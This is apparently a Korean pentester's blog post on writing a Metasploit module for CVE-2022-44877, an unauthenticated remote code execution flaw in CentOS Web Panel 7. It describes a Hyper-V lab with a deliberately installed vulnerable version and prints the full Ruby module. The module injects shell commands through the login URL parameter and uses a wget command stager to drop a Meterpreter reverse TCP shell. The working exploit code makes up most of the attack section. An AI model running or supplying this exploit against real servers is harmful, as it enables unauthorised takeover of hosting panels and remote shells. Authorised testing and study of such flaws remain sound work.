python으로 exploit 은 작성 할 줄 알지만, 각각이 다 따로 놀다보니 좀 더 체계화 된 관리 및 타 툴과의 연동이 필요해서 msf exploit을 개발해 봤습니다.
아래 내용은 개발 과정과 최종 코드만을 담으며, 실제 실행 방법에 대해서는 다루지 않습니다.
대상 취약점
CVE-2022-44877 CentOS Web Panel 7 Unauthenticated Remote Code Execution
환경 구성
- CWP가 systemd를 사용하므로, docker/podman 에서 테스트 불가
- 물론... systemd를 대체 한다던가... privileged 모드로 실행해서 가능하게 한다던가... wsl network 을 공유해서 접근가능하도록 한다던가... 여러 workaround가 있지만... 그냥 hyper-v에 kali 하나 추가로 설치하는게 더 쉬우므로... 이 방향으로...
공격 서버
Hyper-V 상에 kali linux 설치
취약 서버
- Hyper-V 상에 CentOS 7 설치
- CentOS 에서 CWP 7 설치
# reference: http://centos-webpanel.com/installation-instructions
yum -y install wget
cd /usr/local/src
wget https://centos-webpanel.com/cwp-el7-latest
sed -i "s/\(cwp-el7-\)\(.\+\)\(\.zip\)/cwp-el7-0\.9\.8\.1146\.zip/g" cwp-el7-latest # change to vulnerable version
sh cwp-el7-latest
- 위 방법으로 이전버전으로 동작하지 않으며, htdocs를 htdocs.old 등으로 변경 후, 1145 버전 다운로드하여 압축 풀면됩니다..........
취약점
공격 대상
Metasploit code
check 기능은 없고, exploit만 가능하며, 타겟 호스트에 wget이 없을 경우 실행 불가 - wget 없이도 실행되게 하는 방법이 있으나... 업데이트 하지 않겠습니다...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'CentOS Web Panel 7 Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in CentOS Web Panel 7.
Tested against CWP 7 0.9.1145.
},
'Author' => [
'spyrr'
],
'References' => [
['CVE', '2022-44877'],
['URL', 'https://github.com/numanturle/CVE-2022-44877']
],
'DisclosureDate' => '2022-11-07',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Privileged' => false,
'Targets' => [
[
'CWP7 < 0.9.8.1147',
'Platform' => 'linux',
'Arch' => ARCH_X64,
'CmdStagerFlavor' => ['wget', 'printf'],
'Type' => :linux_dropper
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'COMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
))
register_options(
[
Opt::RPORT(2031),
OptString.new('TARGETURI', [true, 'Login path of CWP 7', '/login/index.php']),
], self.class
)
self.needs_cleanup = true
end
def send_command(cmd, timeout)
uri = target_uri
uri.path = normalize_uri(uri.path)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri.path}?login=$(#{cmd})",
'vars_post' => {
'username' => 'root',
'password' => 'toor',
'commit' => 'Login'
}
}, timeout)
end
def execute_command(cmd, _opts={})
send_command(cmd, nil)
end
def exploit
case target['Type']
when :linux_dropper
execute_cmdstager(linemax: 128)
end
end
end
스크린샷
후기
ruby와 metasploit module 개발을 모르는 상태로 해보려하니, 좀 헤멨음....
게다가... cmdstager 써서 이렇게 간단하게 코드를 만들 수 있다는 것도...
처음에 stage를 나눠서... 다운받고 실행하고......이건...음...
휴... 어쨌든 모의해킹 관련해서 기존에 만들던 코드는 생각을 좀 해봐야겠다...ㅡ_ㅡ;